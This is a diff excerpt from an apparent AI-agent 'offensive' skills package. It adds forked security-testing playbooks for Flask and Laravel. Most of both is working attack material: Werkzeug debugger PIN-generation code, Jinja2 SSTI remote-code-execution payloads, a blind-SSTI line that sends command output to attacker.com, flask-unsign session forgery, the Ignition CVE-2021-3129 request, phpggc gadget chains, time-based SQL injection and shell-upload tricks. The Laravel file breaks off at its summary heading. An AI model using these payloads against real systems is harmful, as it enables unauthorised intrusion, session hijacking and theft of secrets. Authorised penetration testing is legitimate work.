- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,297 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: flask
|
|
5
|
+
description: Security testing playbook for Flask applications covering Werkzeug debugger RCE, SSTI via Jinja2, session forgery, misconfigurations, and Flask-specific attack patterns
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Flask Security Testing
|
|
9
|
+
|
|
10
|
+
Flask is a Python micro-framework — minimal by design, security depends entirely on developer choices. Critical attack surface: Werkzeug debugger RCE (PIN bypass), Jinja2 SSTI, secret key abuse for session forgery, and missing security defaults.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Fingerprinting Flask
|
|
17
|
+
|
|
18
|
+
# Flask-specific headers and responses
|
|
19
|
+
Server: Werkzeug/<version> Python/<version> # Confirms Flask
|
|
20
|
+
Content-Type: text/html; charset=utf-8
|
|
21
|
+
|
|
22
|
+
# Common Flask framework paths
|
|
23
|
+
GET / # Root
|
|
24
|
+
GET /favicon.ico # May reveal app name
|
|
25
|
+
GET /_debug_toolbar/ # Flask Debug Toolbar
|
|
26
|
+
GET /console # Werkzeug interactive console (DEV ONLY)
|
|
27
|
+
GET /api/ # REST API root (Flask-RESTX, Flask-RESTful)
|
|
28
|
+
GET /api/swagger.json # Swagger docs
|
|
29
|
+
GET /api/docs # Swagger UI
|
|
30
|
+
GET /swagger/ # Flask-RESTX swagger
|
|
31
|
+
GET /graphql # Graphene (Flask GraphQL)
|
|
32
|
+
|
|
33
|
+
# 404 error reveals Werkzeug:
|
|
34
|
+
GET /nonexistent → "404 Not Found: The requested URL was not found on the server"
|
|
35
|
+
# Werkzeug debugger 500:
|
|
36
|
+
GET /any-route-that-errors → Interactive Python debugger in browser
|
|
37
|
+
|
|
38
|
+
# Exposed files
|
|
39
|
+
GET /.env
|
|
40
|
+
GET /config.py
|
|
41
|
+
GET /settings.py
|
|
42
|
+
GET /requirements.txt
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## Werkzeug Debugger RCE
|
|
47
|
+
|
|
48
|
+
**CRITICAL** — If debug mode is on and the interactive console is accessible:
|
|
49
|
+
|
|
50
|
+
# 1. Detect debug mode:
|
|
51
|
+
GET /any-route-that-causes-exception
|
|
52
|
+
# Look for: interactive debugger in response, "↑ click to expand" in error page
|
|
53
|
+
|
|
54
|
+
# 2. Direct console access (old Werkzeug < 0.11):
|
|
55
|
+
GET /console
|
|
56
|
+
# Gives immediate Python REPL = instant RCE
|
|
57
|
+
|
|
58
|
+
# 3. PIN bypass (Werkzeug 0.11+ with PIN protection):
|
|
59
|
+
# The PIN is computed from: machine-id, MAC address, username, Python path, app module path
|
|
60
|
+
# If SSRF or LFI exists, read the components:
|
|
61
|
+
|
|
62
|
+
# Component 1: /etc/machine-id or /proc/sys/kernel/random/boot_id
|
|
63
|
+
curl <target>/read?file=/etc/machine-id
|
|
64
|
+
|
|
65
|
+
# Component 2: MAC address of network interface
|
|
66
|
+
curl <target>/read?file=/sys/class/net/eth0/address
|
|
67
|
+
# Convert to integer: int("00:11:22:33:44:55".replace(":",""), 16)
|
|
68
|
+
|
|
69
|
+
# Component 3: /etc/passwd → find username running Flask
|
|
70
|
+
curl <target>/read?file=/etc/passwd | grep www-data
|
|
71
|
+
|
|
72
|
+
# Component 4: Python executable path
|
|
73
|
+
curl <target>/read?file=/proc/<pid>/cmdline # Flask process PID
|
|
74
|
+
|
|
75
|
+
# Component 5: App module path (from error page source)
|
|
76
|
+
|
|
77
|
+
# Generate PIN (Python):
|
|
78
|
+
python3 -c "
|
|
79
|
+
import hashlib, itertools
|
|
80
|
+
from itertools import chain
|
|
81
|
+
|
|
82
|
+
probably_public_bits = [
|
|
83
|
+
'www-data', # username
|
|
84
|
+
'flask.app', # modname
|
|
85
|
+
'Flask', # app class name
|
|
86
|
+
'/usr/local/lib/python3.9/dist-packages/flask/app.py', # app path
|
|
87
|
+
]
|
|
88
|
+
private_bits = [
|
|
89
|
+
'2485377892366', # MAC as int
|
|
90
|
+
'<machine-id-content>',
|
|
91
|
+
]
|
|
92
|
+
|
|
93
|
+
h = hashlib.sha1()
|
|
94
|
+
for bit in chain(probably_public_bits, private_bits):
|
|
95
|
+
if not bit: continue
|
|
96
|
+
if isinstance(bit, str): bit = bit.encode('utf-8')
|
|
97
|
+
h.update(bit)
|
|
98
|
+
h.update(b'cookiesalt')
|
|
99
|
+
|
|
100
|
+
cookie_name = '__wzd' + h.hexdigest()[:20]
|
|
101
|
+
rv = None
|
|
102
|
+
num = None
|
|
103
|
+
if num is None:
|
|
104
|
+
h.update(b'pinsalt')
|
|
105
|
+
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
|
106
|
+
rv = '-'.join([num[x:x+3] for x in range(0, 9, 3)])
|
|
107
|
+
print(f'PIN: {rv}')
|
|
108
|
+
"
|
|
109
|
+
|
|
110
|
+
# Use PIN to unlock console → Python REPL → RCE:
|
|
111
|
+
# Enter PIN in browser debugger interface → Interactive console → exec('import os; os.system("id")')
|
|
112
|
+
|
|
113
|
+
---
|
|
114
|
+
|
|
115
|
+
## Jinja2 SSTI (Server-Side Template Injection)
|
|
116
|
+
|
|
117
|
+
Flask uses Jinja2 as its template engine:
|
|
118
|
+
|
|
119
|
+
# Basic detection:
|
|
120
|
+
{{7*7}} # Returns 49 → Jinja2 confirmed
|
|
121
|
+
{{7*'7'}} # Returns 7777777 → Jinja2 (vs 49 = Twig)
|
|
122
|
+
${7*7} # Returns ${7*7} → not Twig
|
|
123
|
+
<%= 7*7 %> # Returns <%= 7*7 %> → not ERB
|
|
124
|
+
|
|
125
|
+
# Information gathering:
|
|
126
|
+
{{config}} # Dump Flask config (SECRET_KEY, SQLALCHEMY_DATABASE_URI, etc.)
|
|
127
|
+
{{config.items()}}
|
|
128
|
+
{{request}} # Flask request object
|
|
129
|
+
{{request.environ}} # WSGI environment (server info)
|
|
130
|
+
{{self.__dict__}}
|
|
131
|
+
|
|
132
|
+
# RCE via Jinja2 sandbox bypass:
|
|
133
|
+
# Method 1: MRO traversal (most common)
|
|
134
|
+
{{''.__class__.__mro__[1].__subclasses__()}} # List all subclasses
|
|
135
|
+
|
|
136
|
+
# Find index of subprocess.Popen:
|
|
137
|
+
{{''.__class__.__mro__[1].__subclasses__()[<idx>]('id', shell=True, stdout=-1).communicate()}}
|
|
138
|
+
|
|
139
|
+
# Method 2: lipsum global
|
|
140
|
+
{{lipsum.__globals__['os'].popen('id').read()}}
|
|
141
|
+
|
|
142
|
+
# Method 3: request.application
|
|
143
|
+
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
|
|
144
|
+
|
|
145
|
+
# Method 4: cycler
|
|
146
|
+
{{cycler.__init__.__globals__.os.popen('id').read()}}
|
|
147
|
+
|
|
148
|
+
# Method 5: joiner
|
|
149
|
+
{{joiner.__init__.__globals__['os'].popen('id').read()}}
|
|
150
|
+
|
|
151
|
+
# Method 6: namespace
|
|
152
|
+
{{namespace.__init__.__globals__['os'].popen('id').read()}}
|
|
153
|
+
|
|
154
|
+
# Blind SSTI (no output):
|
|
155
|
+
{{''.__class__.__mro__[1].__subclasses__()[<idx>](['curl','http://attacker.com/?x='+__import__('os').popen('id').read()],stdout=-1)}}
|
|
156
|
+
|
|
157
|
+
# Fuzz for SSTI injection points:
|
|
158
|
+
# All GET/POST parameters, HTTP headers, URL path, cookie values, JSON fields
|
|
159
|
+
|
|
160
|
+
---
|
|
161
|
+
|
|
162
|
+
## Session Forgery (Flask SECRET_KEY)
|
|
163
|
+
|
|
164
|
+
Flask signs sessions with SECRET_KEY using itsdangerous:
|
|
165
|
+
|
|
166
|
+
# Flask session cookie format: base64(<data>).base64(<timestamp>).<signature>
|
|
167
|
+
# Decode session data:
|
|
168
|
+
python3 -c "
|
|
169
|
+
import base64, json, zlib
|
|
170
|
+
cookie = '<flask_session_cookie_value>'
|
|
171
|
+
payload = cookie.split('.')[0]
|
|
172
|
+
# Pad base64
|
|
173
|
+
payload += '=' * (4 - len(payload) % 4)
|
|
174
|
+
data = base64.b64decode(payload.replace('-','+').replace('_','/'))
|
|
175
|
+
try:
|
|
176
|
+
print(json.loads(zlib.decompress(data[1:]))) # Compressed
|
|
177
|
+
except:
|
|
178
|
+
print(json.loads(data))
|
|
179
|
+
"
|
|
180
|
+
|
|
181
|
+
# Find SECRET_KEY (look in source, .env, git history, config.py)
|
|
182
|
+
# Common weak keys:
|
|
183
|
+
SECRET_KEY = 'secret'
|
|
184
|
+
SECRET_KEY = 'dev'
|
|
185
|
+
SECRET_KEY = 'development'
|
|
186
|
+
SECRET_KEY = 'supersecret'
|
|
187
|
+
SECRET_KEY = 'changeme'
|
|
188
|
+
|
|
189
|
+
# Brute force SECRET_KEY with flask-unsign:
|
|
190
|
+
pip install flask-unsign
|
|
191
|
+
flask-unsign --unsign --cookie '<cookie>' --wordlist /usr/share/wordlists/rockyou.txt
|
|
192
|
+
flask-unsign --unsign --cookie '<cookie>' --wordlist /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt
|
|
193
|
+
|
|
194
|
+
# Forge session with known/cracked key:
|
|
195
|
+
flask-unsign --sign --cookie "{'user_id': 1, 'role': 'admin', 'logged_in': True}" --secret 'secret'
|
|
196
|
+
# Set the forged cookie → admin access
|
|
197
|
+
|
|
198
|
+
---
|
|
199
|
+
|
|
200
|
+
## SQL Injection (SQLAlchemy / SQLite)
|
|
201
|
+
|
|
202
|
+
Flask with SQLAlchemy ORM is parameterized, but raw text queries exist:
|
|
203
|
+
|
|
204
|
+
# Vulnerable:
|
|
205
|
+
db.engine.execute(f"SELECT * FROM users WHERE id={user_id}")
|
|
206
|
+
User.query.filter(text(f"username = '{username}'"))
|
|
207
|
+
|
|
208
|
+
# Safe:
|
|
209
|
+
User.query.filter_by(username=username)
|
|
210
|
+
db.execute("SELECT * FROM users WHERE id = :id", {"id": user_id})
|
|
211
|
+
|
|
212
|
+
# Test: standard SQLi payloads on all input fields
|
|
213
|
+
|
|
214
|
+
---
|
|
215
|
+
|
|
216
|
+
## CSRF
|
|
217
|
+
|
|
218
|
+
Flask has no built-in CSRF protection — depends on Flask-WTF or manual implementation:
|
|
219
|
+
|
|
220
|
+
# Check if CSRF is implemented:
|
|
221
|
+
# Look for csrf_token in form source
|
|
222
|
+
# Or check for X-CSRFToken / X-CSRF-Token header requirement
|
|
223
|
+
|
|
224
|
+
# If no CSRF protection:
|
|
225
|
+
# All state-changing POST requests are CSRF-vulnerable if cookies are used for auth
|
|
226
|
+
|
|
227
|
+
# Flask-Login uses cookies → all POST routes without Flask-WTF are CSRF-vulnerable
|
|
228
|
+
|
|
229
|
+
---
|
|
230
|
+
|
|
231
|
+
## Common Flask Misconfigurations
|
|
232
|
+
|
|
233
|
+
# Debug mode in production:
|
|
234
|
+
app.run(debug=True) # NEVER in production
|
|
235
|
+
|
|
236
|
+
# Weak secret key:
|
|
237
|
+
app.config['SECRET_KEY'] = 'dev'
|
|
238
|
+
|
|
239
|
+
# All origins CORS (Flask-CORS):
|
|
240
|
+
CORS(app) # Equivalent to Access-Control-Allow-Origin: *
|
|
241
|
+
CORS(app, resources={r"/api/*": {"origins": "*"}})
|
|
242
|
+
|
|
243
|
+
# No HTTPS enforcement:
|
|
244
|
+
# Missing Talisman or HSTS header
|
|
245
|
+
|
|
246
|
+
# Direct host binding:
|
|
247
|
+
app.run(host='0.0.0.0') # Exposed to all interfaces
|
|
248
|
+
|
|
249
|
+
# Unsafe deserialization (Pickle):
|
|
250
|
+
import pickle
|
|
251
|
+
data = pickle.loads(user_input) # RCE if user controls input
|
|
252
|
+
|
|
253
|
+
---
|
|
254
|
+
|
|
255
|
+
## Path Traversal in Static Files
|
|
256
|
+
|
|
257
|
+
# Flask serve static: /static/<filename>
|
|
258
|
+
GET /static/../../../etc/passwd
|
|
259
|
+
GET /static/..%2F..%2F..%2Fetc%2Fpasswd
|
|
260
|
+
|
|
261
|
+
# Custom static directories may also be vulnerable:
|
|
262
|
+
GET /uploads/../config.py
|
|
263
|
+
|
|
264
|
+
---
|
|
265
|
+
|
|
266
|
+
## Flask Extensions Attack Surface
|
|
267
|
+
|
|
268
|
+
# Flask-Admin (admin dashboard):
|
|
269
|
+
GET /admin/ # May be exposed without auth
|
|
270
|
+
GET /admin/user/ # User management
|
|
271
|
+
|
|
272
|
+
# Flask-DebugToolbar:
|
|
273
|
+
GET /_debug_toolbar/static/
|
|
274
|
+
|
|
275
|
+
# Flask-Login: check if remember_me cookie is signed properly
|
|
276
|
+
|
|
277
|
+
# Flask-Babel: locale injection
|
|
278
|
+
GET /endpoint?lang=../../../../etc/passwd%00
|
|
279
|
+
|
|
280
|
+
# Flask-Uploads: check allowed extensions
|
|
281
|
+
# Flask-Marshmallow: mass assignment via schema
|
|
282
|
+
|
|
283
|
+
---
|
|
284
|
+
|
|
285
|
+
## Pro Tips
|
|
286
|
+
|
|
287
|
+
1. Check `Server: Werkzeug` header — confirms Flask and version
|
|
288
|
+
2. `{{config}}` in SSTI dumps SECRET_KEY and database URLs directly
|
|
289
|
+
3. Werkzeug PIN bypass is complex but reliable if LFI exists to read `/etc/machine-id`
|
|
290
|
+
4. `flask-unsign` is the fastest tool for cracking Flask session cookies
|
|
291
|
+
5. `debug=True` in production = instant RCE via `/console` — test immediately
|
|
292
|
+
6. Flask has no CSRF protection by default — all cookie-based POST routes are vulnerable
|
|
293
|
+
7. SQLite database file path is often in config — try `GET /app.db` or `GET /database.db`
|
|
294
|
+
|
|
295
|
+
## Summary
|
|
296
|
+
|
|
297
|
+
Flask testing = check `Server: Werkzeug` + test SSTI with `{{7*7}}` on all inputs + decode/forge session cookie (flask-unsign) + probe `/console` for debug mode. SSTI in Flask/Jinja2 is direct RCE — `{{lipsum.__globals__['os'].popen('id').read()}}` is the most reliable payload. Session cookie forgery with weak/known SECRET_KEY is often easier than SSTI — always try `flask-unsign --wordlist` first.
|
|
@@ -0,0 +1,260 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: laravel
|
|
5
|
+
description: Security testing playbook for Laravel applications covering debug mode, route enumeration, mass assignment, deserialization, and Laravel-specific misconfigurations
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Laravel Security Testing
|
|
9
|
+
|
|
10
|
+
Laravel is the dominant PHP web framework. Attack surface: debug mode (Ignition), exposed routes, mass assignment via Eloquent, PHP object deserialization, CSRF bypass, file upload, and common config exposures.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Fingerprinting Laravel
|
|
17
|
+
|
|
18
|
+
# Laravel-specific paths
|
|
19
|
+
GET /_ignition/health-check # Confirms Laravel + version (Ignition error handler)
|
|
20
|
+
GET /telescope # Laravel Telescope (debug dashboard)
|
|
21
|
+
GET /telescope/requests # HTTP requests log
|
|
22
|
+
GET /horizon # Laravel Horizon (queue monitor)
|
|
23
|
+
GET /nova # Laravel Nova (admin panel)
|
|
24
|
+
GET /api/documentation # L5-Swagger docs
|
|
25
|
+
GET /storage/logs/laravel.log # Log file exposure
|
|
26
|
+
|
|
27
|
+
# Headers
|
|
28
|
+
Set-Cookie: laravel_session=... # Session cookie name
|
|
29
|
+
X-Powered-By: PHP/...
|
|
30
|
+
|
|
31
|
+
# Error pages: Ignition shows full stack trace, local variables, file contents
|
|
32
|
+
GET /nonexistent-url # 404 with Laravel branding
|
|
33
|
+
POST /any-route-no-csrf # 419 Page Expired (CSRF failure) confirms Laravel
|
|
34
|
+
|
|
35
|
+
---
|
|
36
|
+
|
|
37
|
+
## Debug Mode (Critical — APP_DEBUG=true)
|
|
38
|
+
|
|
39
|
+
# Ignition remote code execution (CVE-2021-3129)
|
|
40
|
+
# Only affects Laravel < 8.4.2 with Ignition < 2.5.2
|
|
41
|
+
POST /_ignition/execute-solution
|
|
42
|
+
Content-Type: application/json
|
|
43
|
+
{
|
|
44
|
+
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
|
|
45
|
+
"parameters": {
|
|
46
|
+
"variableName": "username",
|
|
47
|
+
"viewFile": "php://filter/write=convert.base64-decode/resource=../public/shell.php"
|
|
48
|
+
}
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
# Check if Ignition endpoint is accessible:
|
|
52
|
+
curl -s <target>/_ignition/health-check
|
|
53
|
+
|
|
54
|
+
# APP_DEBUG leaks: full stack trace, environment variables, DB credentials, APP_KEY
|
|
55
|
+
# Trigger 500: send malformed input to any endpoint
|
|
56
|
+
|
|
57
|
+
---
|
|
58
|
+
|
|
59
|
+
## Route Enumeration
|
|
60
|
+
|
|
61
|
+
# artisan route:list output exposed (common misconfiguration)
|
|
62
|
+
GET /routes # Sometimes developers expose this
|
|
63
|
+
GET /api/routes
|
|
64
|
+
|
|
65
|
+
# Common Laravel route patterns
|
|
66
|
+
GET /api/user # Auth user info (requires token)
|
|
67
|
+
POST /api/login
|
|
68
|
+
POST /api/register
|
|
69
|
+
GET /api/logout
|
|
70
|
+
GET /sanctum/csrf-cookie # Laravel Sanctum CSRF initialization
|
|
71
|
+
POST /oauth/token # Laravel Passport OAuth
|
|
72
|
+
GET /oauth/authorize
|
|
73
|
+
|
|
74
|
+
# Fuzz API versions
|
|
75
|
+
GET /api/v1/
|
|
76
|
+
GET /api/v2/
|
|
77
|
+
|
|
78
|
+
---
|
|
79
|
+
|
|
80
|
+
## Mass Assignment (Eloquent)
|
|
81
|
+
|
|
82
|
+
Laravel Eloquent `$fillable` vs `$guarded` controls mass assignment:
|
|
83
|
+
|
|
84
|
+
# Dangerous: $guarded = [] or no fillable restriction
|
|
85
|
+
# Test: inject extra fields in any POST/PUT request
|
|
86
|
+
|
|
87
|
+
# User registration → add admin fields
|
|
88
|
+
POST /api/register
|
|
89
|
+
{"name": "attacker", "email": "a@b.com", "password": "pass", "role": "admin", "is_admin": 1}
|
|
90
|
+
|
|
91
|
+
# Profile update → elevate privileges
|
|
92
|
+
PUT /api/profile
|
|
93
|
+
{"name": "me", "email": "a@b.com", "admin": true, "role_id": 1}
|
|
94
|
+
|
|
95
|
+
# Check response — if extra fields are reflected or accepted without error, mass assignment works
|
|
96
|
+
|
|
97
|
+
---
|
|
98
|
+
|
|
99
|
+
## CSRF
|
|
100
|
+
|
|
101
|
+
# Laravel uses CSRF tokens for all state-changing requests
|
|
102
|
+
# Token stored in session + X-XSRF-TOKEN cookie
|
|
103
|
+
|
|
104
|
+
# Bypass techniques:
|
|
105
|
+
# 1. Routes excluded from VerifyCsrfToken middleware (check routes/web.php leaks)
|
|
106
|
+
# 2. API routes are CSRF-exempt by default in routes/api.php
|
|
107
|
+
# 3. Content-Type: application/json bypass (some middleware configs)
|
|
108
|
+
# 4. X-XSRF-TOKEN header: read from cookie (requires cookie access = XSS or subdomain)
|
|
109
|
+
|
|
110
|
+
# Exploit: API routes don't require CSRF
|
|
111
|
+
POST /api/any-state-changing-action # No CSRF needed
|
|
112
|
+
|
|
113
|
+
---
|
|
114
|
+
|
|
115
|
+
## PHP Object Deserialization
|
|
116
|
+
|
|
117
|
+
Laravel uses serialize/unserialize in session handling and cache:
|
|
118
|
+
|
|
119
|
+
# Laravel APP_KEY needed to forge encrypted payloads
|
|
120
|
+
# If APP_KEY leaked (from debug page or .env):
|
|
121
|
+
# Use phpggc to generate gadget chains
|
|
122
|
+
|
|
123
|
+
phpggc Laravel/RCE1 system 'id' | base64 # Generate payload
|
|
124
|
+
phpggc Laravel/RCE2 system 'id'
|
|
125
|
+
phpggc -l | grep Laravel # List available gadget chains
|
|
126
|
+
|
|
127
|
+
# Vulnerable if using file/cookie session driver with old Laravel
|
|
128
|
+
# Forge Laravel session cookie using leaked APP_KEY
|
|
129
|
+
|
|
130
|
+
# CVE-2018-15133: Unserialize in X-XSRF-TOKEN header (old versions)
|
|
131
|
+
|
|
132
|
+
---
|
|
133
|
+
|
|
134
|
+
## SQL Injection
|
|
135
|
+
|
|
136
|
+
# Eloquent ORM is parameterized by default, but raw queries exist:
|
|
137
|
+
|
|
138
|
+
# Vulnerable patterns:
|
|
139
|
+
DB::select("SELECT * FROM users WHERE id = " . $id);
|
|
140
|
+
Model::whereRaw("name = '" . $name . "'");
|
|
141
|
+
Model::orderByRaw($column); # Order-by injection
|
|
142
|
+
|
|
143
|
+
# Safe patterns:
|
|
144
|
+
DB::select("SELECT * FROM users WHERE id = ?", [$id]);
|
|
145
|
+
Model::where('name', $name);
|
|
146
|
+
|
|
147
|
+
# Order-by injection (common Laravel pattern):
|
|
148
|
+
GET /api/users?sort=name` ASC,(SELECT SLEEP(5))--
|
|
149
|
+
GET /api/products?order_by=price`,(SELECT 1 FROM (SELECT SLEEP(5))x)--
|
|
150
|
+
|
|
151
|
+
---
|
|
152
|
+
|
|
153
|
+
## File Upload
|
|
154
|
+
|
|
155
|
+
# Laravel file handling via Storage facade
|
|
156
|
+
# Test upload endpoints:
|
|
157
|
+
POST /api/upload filename="shell.php" Content-Type: image/jpeg [PHP payload]
|
|
158
|
+
POST /api/upload filename="shell.php%00.jpg" # Null byte injection
|
|
159
|
+
|
|
160
|
+
# Path traversal in filename:
|
|
161
|
+
filename="../../../public/shell.php"
|
|
162
|
+
|
|
163
|
+
# Storage misconfigurations:
|
|
164
|
+
GET /storage/<uploaded-file> # storage:link exposes storage/app/public to /storage/
|
|
165
|
+
# Brute-force uploaded file paths if predictable names
|
|
166
|
+
|
|
167
|
+
# Check if MIME validation is server-side only:
|
|
168
|
+
Content-Type: image/jpeg + PHP payload = often accepted
|
|
169
|
+
|
|
170
|
+
---
|
|
171
|
+
|
|
172
|
+
## Environment File Exposure
|
|
173
|
+
|
|
174
|
+
# Critical: .env contains APP_KEY, DB credentials, API keys
|
|
175
|
+
GET /.env
|
|
176
|
+
GET /.env.backup
|
|
177
|
+
GET /.env.production
|
|
178
|
+
GET /.env.local
|
|
179
|
+
GET /config/database.php # If not protected
|
|
180
|
+
|
|
181
|
+
# APP_KEY format: base64:<32-byte-key>
|
|
182
|
+
# Used for: encrypted cookies, session tokens, signed URLs
|
|
183
|
+
|
|
184
|
+
# Laravel log file
|
|
185
|
+
GET /storage/logs/laravel.log
|
|
186
|
+
GET /storage/logs/laravel-2024-01-01.log # Date-based logs
|
|
187
|
+
|
|
188
|
+
---
|
|
189
|
+
|
|
190
|
+
## Laravel Telescope (Admin Debug Dashboard)
|
|
191
|
+
|
|
192
|
+
# Telescope exposed in production = critical
|
|
193
|
+
GET /telescope
|
|
194
|
+
GET /telescope/requests # All HTTP requests with parameters
|
|
195
|
+
GET /telescope/commands # Artisan commands executed
|
|
196
|
+
GET /telescope/queries # All SQL queries with full parameters
|
|
197
|
+
GET /telescope/exceptions # Error logs with stack traces
|
|
198
|
+
GET /telescope/models # Eloquent model changes
|
|
199
|
+
GET /telescope/mail # Emails sent (may include tokens)
|
|
200
|
+
GET /telescope/jobs # Queue jobs
|
|
201
|
+
|
|
202
|
+
# Telescope API (JSON)
|
|
203
|
+
GET /telescope/telescope-api/requests
|
|
204
|
+
|
|
205
|
+
---
|
|
206
|
+
|
|
207
|
+
## Laravel Horizon / Nova
|
|
208
|
+
|
|
209
|
+
# Horizon: queue job dashboard
|
|
210
|
+
GET /horizon
|
|
211
|
+
GET /horizon/api/stats
|
|
212
|
+
GET /horizon/api/jobs/pending
|
|
213
|
+
|
|
214
|
+
# Nova: admin panel (paid package)
|
|
215
|
+
GET /nova
|
|
216
|
+
GET /nova/login
|
|
217
|
+
GET /nova/api/resources/users # User management API
|
|
218
|
+
|
|
219
|
+
---
|
|
220
|
+
|
|
221
|
+
## Authentication
|
|
222
|
+
|
|
223
|
+
# Sanctum API token exposure
|
|
224
|
+
GET /sanctum/csrf-cookie # Initialize Sanctum
|
|
225
|
+
|
|
226
|
+
# Passport OAuth misconfigs
|
|
227
|
+
POST /oauth/token
|
|
228
|
+
{"grant_type": "client_credentials", "client_id": 1, "client_secret": "..."}
|
|
229
|
+
|
|
230
|
+
# Login response: check if password_confirm bypasses required re-auth
|
|
231
|
+
# Remember me token: very long-lived, check expiry
|
|
232
|
+
|
|
233
|
+
# Account enumeration via login response timing / different messages
|
|
234
|
+
|
|
235
|
+
---
|
|
236
|
+
|
|
237
|
+
## IDOR via Route Model Binding
|
|
238
|
+
|
|
239
|
+
# Laravel route model binding uses sequential integers by default
|
|
240
|
+
GET /api/invoices/1
|
|
241
|
+
GET /api/invoices/2 # Different user's invoice?
|
|
242
|
+
|
|
243
|
+
# UUIDs — still test: check if authorization validates ownership
|
|
244
|
+
GET /api/documents/550e8400-e29b-41d4-a716-446655440000
|
|
245
|
+
|
|
246
|
+
---
|
|
247
|
+
|
|
248
|
+
## Pro Tips
|
|
249
|
+
|
|
250
|
+
1. Always check `/_ignition/health-check` — confirms version and if debug is on
|
|
251
|
+
2. `.env` exposure is the most critical Laravel finding — check exhaustively
|
|
252
|
+
3. Telescope in production = full application audit trail (queries, requests, emails)
|
|
253
|
+
4. API routes (`/api/*`) are CSRF-exempt by default — any state-changing action is CSRF-vulnerable
|
|
254
|
+
5. `APP_KEY` leak enables session forgery, encrypted field decryption, signed URL forgery
|
|
255
|
+
6. Mass assignment on user registration is extremely common — always add `role`/`is_admin` fields
|
|
256
|
+
7. `storage/` directory exposure via `php artisan storage:link` — uploaded files accessible publicly
|
|
257
|
+
|
|
258
|
+
## Summary
|
|
259
|
+
|
|
260
|
+
